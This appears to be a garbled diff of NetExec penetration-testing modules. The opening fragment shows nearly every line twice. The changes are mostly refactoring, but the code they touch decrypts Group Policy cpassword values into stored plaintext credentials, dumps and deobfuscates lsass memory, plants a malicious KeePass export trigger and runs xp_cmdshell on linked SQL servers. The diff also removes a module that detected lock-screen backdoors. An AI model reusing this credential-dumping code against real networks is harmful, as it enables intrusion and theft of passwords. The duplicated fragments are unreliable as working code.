connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import re
|
||||
from io import BytesIO
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,7 +13,6 @@ class NXCModule:
|
||||
name = "gpp_privileges"
|
||||
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
@@ -99,25 +96,24 @@ class NXCModule:
|
||||
self.no_ldap = module_options.get("NO_LDAP", False)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
try:
|
||||
connection.conn.listPath("SYSVOL", "*")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to list shares: {e}")
|
||||
context.log.fail(f"Failed to list shares: {e}")
|
||||
return
|
||||
|
||||
self.context.log.display("Searching for GptTmpl.inf files")
|
||||
context.log.display("Searching for GptTmpl.inf files")
|
||||
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
|
||||
|
||||
if not paths:
|
||||
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
return
|
||||
|
||||
for path in paths:
|
||||
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
|
||||
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
else:
|
||||
self.context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
@@ -125,32 +121,22 @@ class NXCModule:
|
||||
try:
|
||||
content = buf.getvalue().decode("utf-16le")
|
||||
except UnicodeDecodeError as e:
|
||||
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
continue
|
||||
|
||||
privileges = self.extract_privileges(content)
|
||||
if privileges:
|
||||
ldap_connection = None
|
||||
base_dn = None
|
||||
if not self.no_ldap:
|
||||
ldap_connection = self.initialize_ldap_connection(connection)
|
||||
base_dn = self.get_basedn(ldap_connection)
|
||||
ldap_connection = self.initialize_ldap_connection(context, connection)
|
||||
|
||||
self.context.log.success(f"Privileges extracted from {path}:")
|
||||
context.log.success(f"Privileges extracted from {path}:")
|
||||
for privilege, sids in privileges.items():
|
||||
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
|
||||
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
|
||||
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
|
||||
if ldap_connection:
|
||||
ldap_connection.close()
|
||||
|
||||
def get_basedn(self, ldap_connection):
|
||||
root = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
attributes=["defaultNamingContext"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
return parse_result_attributes(root)[0]["defaultNamingContext"]
|
||||
ldap_connection.unbind()
|
||||
|
||||
def extract_privileges(self, content):
|
||||
"""Parses the content of GptTmpl.inf to extract privilege rights."""
|
||||
@@ -171,64 +157,101 @@ class NXCModule:
|
||||
|
||||
return privileges
|
||||
|
||||
def initialize_ldap_connection(self, connection):
|
||||
def initialize_ldap_connection(self, context, connection):
|
||||
"""
|
||||
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
|
||||
"""
|
||||
ldap_connection = None
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
|
||||
if connection.kerberos:
|
||||
ldap_connection.kerberosLogin(
|
||||
connection.username,
|
||||
connection.password or "",
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey or "",
|
||||
kdcHost=connection.kdcHost,
|
||||
useCache=bool(connection.use_kcache),
|
||||
)
|
||||
else:
|
||||
ldap_connection.login(
|
||||
user=connection.username,
|
||||
password=connection.password or "",
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
)
|
||||
self.context.log.success("Connected to LDAP.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"LDAP connection failed: {e}")
|
||||
return None
|
||||
return ldap_connection
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
base_dn = None
|
||||
|
||||
def resolve_sid(self, sid, ldap_connection, base_dn):
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.success("Connected to LDAP over SSL (LDAPS).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldaps_error:
|
||||
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
|
||||
context.log.info("Falling back to plain LDAP...")
|
||||
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
|
||||
ldap_connection = ldap3.Connection(
|
||||
ldap_server,
|
||||
user=f"{connection.domain}\\{connection.username}",
|
||||
password=connection.password,
|
||||
authentication=ldap3.NTLM,
|
||||
raise_exceptions=True,
|
||||
)
|
||||
ldap_connection.bind()
|
||||
context.log.info("Connected to LDAP successfully (plaintext).")
|
||||
|
||||
try:
|
||||
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
|
||||
except Exception as e:
|
||||
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
|
||||
|
||||
if not base_dn:
|
||||
domain_parts = connection.domain.split(".")
|
||||
base_dn = ",".join([f"dc={part}" for part in domain_parts])
|
||||
context.log.info(f"Derived base DN: {base_dn}")
|
||||
|
||||
ldap_connection.base_dn = base_dn
|
||||
return ldap_connection
|
||||
|
||||
except Exception as ldap_error:
|
||||
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
|
||||
|
||||
return None
|
||||
|
||||
def resolve_sid(self, context, sid, ldap_connection):
|
||||
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
|
||||
if sid in self.WELL_KNOWN_SIDS:
|
||||
return self.WELL_KNOWN_SIDS[sid]
|
||||
|
||||
if ldap_connection:
|
||||
if ldap_connection and ldap_connection.bound:
|
||||
try:
|
||||
resp = ldap_connection.search(
|
||||
searchBase=base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
base_dn = getattr(ldap_connection, "base_dn", None)
|
||||
if not base_dn:
|
||||
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
|
||||
return sid
|
||||
|
||||
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
|
||||
ldap_connection.search(
|
||||
search_base=base_dn,
|
||||
search_filter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
)
|
||||
parsed_result = parse_result_attributes(resp)
|
||||
if parsed_result and "sAMAccountName" in parsed_result[0]:
|
||||
return f"{parsed_result[0]['sAMAccountName']}"
|
||||
else:
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
|
||||
except ldap_impacket.LDAPSearchError:
|
||||
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
except ldap_impacket.LDAPFilterSyntaxError:
|
||||
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
|
||||
if ldap_connection.entries:
|
||||
entry = ldap_connection.entries[0]
|
||||
return f"{entry['sAMAccountName']}"
|
||||
else:
|
||||
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
|
||||
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
|
||||
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
|
||||
else:
|
||||
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
|
||||
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
|
||||
|
||||
return sid
|
||||
@@ -1,6 +1,5 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -14,7 +13,6 @@ class NXCModule:
|
||||
name = "group-mem"
|
||||
description = "[REMOVED] Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
primaryGroupID = ""
|
||||
answers = []
|
||||
@@ -37,7 +35,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
return None
|
||||
|
||||
# First look up the SID of the group passed in
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -16,7 +15,6 @@ class NXCModule:
|
||||
name = "groupmembership"
|
||||
description = "Query the groups to which a user belongs."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""USER Choose a username to query group membership"""
|
||||
|
||||
+11
-10
@@ -7,7 +7,6 @@ import re
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
@@ -15,7 +14,6 @@ class NXCModule:
|
||||
name = "handlekatz"
|
||||
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
@@ -126,17 +124,20 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
|
||||
bytes_in = bytearray(h_in.read())
|
||||
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
|
||||
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
|
||||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
|
||||
try:
|
||||
|
||||
@@ -8,7 +8,6 @@ from lsassy.dumper import Dumper
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
credentials_data = []
|
||||
found_users = []
|
||||
@@ -131,7 +130,6 @@ class NXCModule:
|
||||
name = "hash_spider"
|
||||
description = "Dump lsass recursively from a given hash using BH to find local admins"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -10,7 +9,6 @@ class NXCModule:
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
+4
-5
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
|
||||
@@ -11,10 +8,12 @@ class NXCModule:
|
||||
name = "iis"
|
||||
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.check_appcmd(context, connection)
|
||||
|
||||
@@ -7,7 +7,6 @@ from base64 import b64decode
|
||||
from os import path
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
@@ -15,7 +14,6 @@ class NXCModule:
|
||||
name = "impersonate"
|
||||
description = "List and impersonate tokens to run command as locally logged on users"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -101,7 +99,7 @@ class NXCModule:
|
||||
context.log.fail("Invalid token ID submitted")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
context.log.fail(f"Error runing command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
|
||||
|
||||
@@ -1,14 +1,12 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "install_elevated"
|
||||
description = "Checks for AlwaysInstallElevated"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -4,17 +4,15 @@
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ioxidresolver"
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
|
||||
@@ -22,13 +20,12 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
|
||||
None,
|
||||
IID_IObjectExporter,
|
||||
target_ip=connection.host,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_NONE,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
from csv import reader
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "keepass_discover"
|
||||
description = "Search for KeePass-related files and process."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.search_type = "ALL"
|
||||
|
||||
@@ -5,7 +5,6 @@ from csv import reader
|
||||
from base64 import b64encode
|
||||
from io import BytesIO, StringIO
|
||||
from xml.etree import ElementTree as ET
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
@@ -22,7 +21,6 @@ class NXCModule:
|
||||
name = "keepass_trigger"
|
||||
description = "Set up a malicious KeePass trigger to export the database in cleartext."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
# while the module only executes legit powershell commands on the target (search and edit files)
|
||||
# some EDR like Trend Micro flag base64-encoded powershell as malicious
|
||||
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import json
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.ldap.laps import LAPSv2Extract
|
||||
|
||||
|
||||
@@ -18,7 +17,6 @@ class NXCModule:
|
||||
name = "laps"
|
||||
description = "Retrieves all LAPS passwords which the account has read permissions for."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
|
||||
|
||||
@@ -13,7 +13,6 @@ from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import contextlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -26,7 +25,6 @@ class NXCModule:
|
||||
name = "ldap-checker"
|
||||
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked MSSQL server
|
||||
@@ -10,7 +7,6 @@ class NXCModule:
|
||||
name = "link_enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Run xp_cmdshell commands on a linked SQL server
|
||||
@@ -10,7 +7,6 @@ class NXCModule:
|
||||
name = "link_xpcmd"
|
||||
description = "Run xp_cmdshell commands on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.linked_server = None
|
||||
@@ -40,7 +36,7 @@ class NXCModule:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value:
|
||||
if output_value and output_value != "NULL":
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
if output_lines:
|
||||
|
||||
@@ -1,89 +0,0 @@
|
||||
from io import BytesIO
|
||||
import pefile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for detecting Windows lock screen backdoors
|
||||
Module by @E1A
|
||||
"""
|
||||
|
||||
name = "lockscreendoors"
|
||||
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
# List of exe names with expected descriptions
|
||||
self.expected_descriptions = {
|
||||
"utilman.exe": ["Utility Manager"],
|
||||
"narrator.exe": ["Screen Reader", "Narrator"],
|
||||
"sethc.exe": ["Accessibility shortcut keys"],
|
||||
"osk.exe": ["Accessibility On-Screen Keyboard"],
|
||||
"magnify.exe": ["Microsoft Screen Magnifier"],
|
||||
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
|
||||
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
|
||||
"displayswitch.exe": ["Display Switch"],
|
||||
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
|
||||
}
|
||||
|
||||
# If description matches one of these it's almost certainly backdoored
|
||||
self.backdoor_descriptions = [
|
||||
"Windows Command Processor",
|
||||
"Windows PowerShell"
|
||||
]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def get_description(self, binary_data):
|
||||
# Extract the file description from version info
|
||||
try:
|
||||
pe = pefile.PE(data=binary_data, fast_load=True)
|
||||
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
|
||||
for fileinfo in pe.FileInfo:
|
||||
for entry in fileinfo:
|
||||
if entry.Key.decode() == "StringFileInfo":
|
||||
for st in entry.StringTable:
|
||||
desc = st.entries.get(b"FileDescription")
|
||||
if desc:
|
||||
return desc.decode().strip()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to extract PE info: {e}")
|
||||
return None
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
target_path = "\\Windows\\System32"
|
||||
tampered = False
|
||||
|
||||
for exe, expected_descs in self.expected_descriptions.items():
|
||||
try:
|
||||
# Grab the binary from the share
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
|
||||
binary = buf.getvalue()
|
||||
|
||||
# Extract and normalize the file description
|
||||
file_desc = self.get_description(binary)
|
||||
if not file_desc:
|
||||
context.log.fail(f"{exe}: could not extract FileDescription")
|
||||
continue
|
||||
|
||||
# Check if the description is as expected
|
||||
if file_desc not in expected_descs:
|
||||
tampered = True
|
||||
if file_desc in self.backdoor_descriptions:
|
||||
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
|
||||
else:
|
||||
if len(expected_descs) == 1:
|
||||
expected_str = f"'{expected_descs[0]}'"
|
||||
else:
|
||||
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
|
||||
expected_str = f"one of: {expected_str}"
|
||||
context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to process {exe}: {e}")
|
||||
|
||||
if not tampered:
|
||||
context.log.display("All lock screen executable descriptions are consistent with the expected values")
|
||||
@@ -14,7 +14,6 @@ from lsassy.session import Session
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -22,7 +21,6 @@ class NXCModule:
|
||||
name = "lsassy"
|
||||
description = "Dump lsass and parse the result remotely with lsassy"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -67,7 +65,7 @@ class NXCModule:
|
||||
session.get_session(
|
||||
address=host,
|
||||
target_ip=host,
|
||||
port=connection.port,
|
||||
port=445,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
username=username,
|
||||
@@ -187,7 +185,7 @@ class NXCModule:
|
||||
context.log.fail(f"Error writing ticket {filename}: {e}")
|
||||
|
||||
if ticket_count > 0:
|
||||
context.log.success(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
|
||||
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
|
||||
else:
|
||||
context.log.display("No tickets were saved")
|
||||
|
||||
|
||||
+8
